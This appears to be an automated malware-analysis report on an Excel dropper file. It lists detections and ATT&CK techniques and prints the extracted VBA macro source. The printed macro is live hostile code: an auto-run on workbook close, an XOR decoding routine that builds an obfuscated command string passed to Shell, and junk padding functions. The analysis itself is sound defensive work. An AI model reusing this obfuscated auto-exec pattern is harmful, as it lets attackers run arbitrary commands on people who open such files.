MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file is an Excel document containing VBA macros. The macros execute the `Shell` function, first with the hardcoded string "calc", and then with a string constructed from obfuscated calls to `mxPddUbU0`. This indicates the macro is designed to execute arbitrary commands, likely downloading and running a second-stage payload. The ClamAV detection name 'Xls.Dropper.Agent-7533376-0' further supports this dropper functionality.
Heuristics 4
-
ClamAV: Xls.Dropper.Agent-7533376-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Xls.Dropper.Agent-7533376-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBA
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2566 bytes |
SHA-256: 6dc3ce42588add37cc696aeb8552c5a361187c48051f3022259fc5c448fa4aab |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub lodhi1()
lodhi2
End Sub
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_BeforeClose(Cancel As Boolean)
lodhi1
End Sub
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "Module2"
Sub lodhi2()
lodhi3
Var = "calc"
Shell (Var)
End Sub
Attribute VB_Name = "Module3"
Sub lodhi3()
LUN1 = mxPddUbU0("*G !6 +@#7 Bz=", "G4mUW1C4W")
LUN2 = mxPddUbU0("t& Z", "ZKuuXyrIn")
LUN3 = mxPddUbU0("!* - ,++6 % ", "INkFxeoBF")
LUN = LUN1 + LUN2 + LUN3
Shell (LUN)
End Sub
Private Function IgbEFmtLTJpkljo()
Dim feukneDgLJrgAqhv As Long
feukneDgLJrgAqhv = "5415"
End Function
Private Sub bbCKYzTyQoApm()
Dim feukneDgLJrgAqhv As Long
feukneDgLJrgAqhv = "5415"
Dim BMSOarsNPZwdGQDJdla As Long
BMSOarsNPZwdGQDJdla = "3142"
End Sub
Public Sub zEqjqUvhwADvTxc()
Dim feukneDgLJrgAqhv As Long
feukneDgLJrgAqhv = "5415"
Dim BMSOarsNPZwdGQDJdla As Long
BMSOarsNPZwdGQDJdla = "3142"
Dim GxLVEEreFcoCkBnrQFC As Integer
GxLVEEreFcoCkBnrQFC = "5669"
End Sub
Public Function mxPddUbU0(ByVal e18vqXcSL As String, ByVal iynWwyapN As String) As String
Dim v5OmfU7lM As Long
For v5OmfU7lM = 1 To Len(e18vqXcSL)
mxPddUbU0 = mxPddUbU0 & Chr(Asc(Mid(iynWwyapN, IIf(v5OmfU7lM Mod Len(iynWwyapN) <> 0, v5OmfU7lM Mod Len(iynWwyapN), Len(iynWwyapN)), 1)) Xor Asc(Mid(e18vqXcSL, v5OmfU7lM, 1)))
Next v5OmfU7lM
End Function
Private Sub EKGSVkFHQbV()
GoTo UOEkttsxibiMaZp
UOEkttsxibiMaZp:
End Sub
Private Sub vnLbTDmoIlqDNj()
GoTo UOEkttsxibiMaZp
UOEkttsxibiMaZp:
Dim TSuctfjJjuoGDbw As Integer
TSuctfjJjuoGDbw = 11
Do While TSuctfjJjuoGDbw < 20
DoEvents: TSuctfjJjuoGDbw = TSuctfjJjuoGDbw + 1
Loop
End Sub
Private Function mAVJTrmPQxRQfUAJJINk()
GoTo UOEkttsxibiMaZp
UOEkttsxibiMaZp:
Dim TSuctfjJjuoGDbw As Integer
TSuctfjJjuoGDbw = 11
Do While TSuctfjJjuoGDbw < 20
DoEvents: TSuctfjJjuoGDbw = TSuctfjJjuoGDbw + 1
Loop
GoTo pFILDcrkTCEnP
pFILDcrkTCEnP:
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.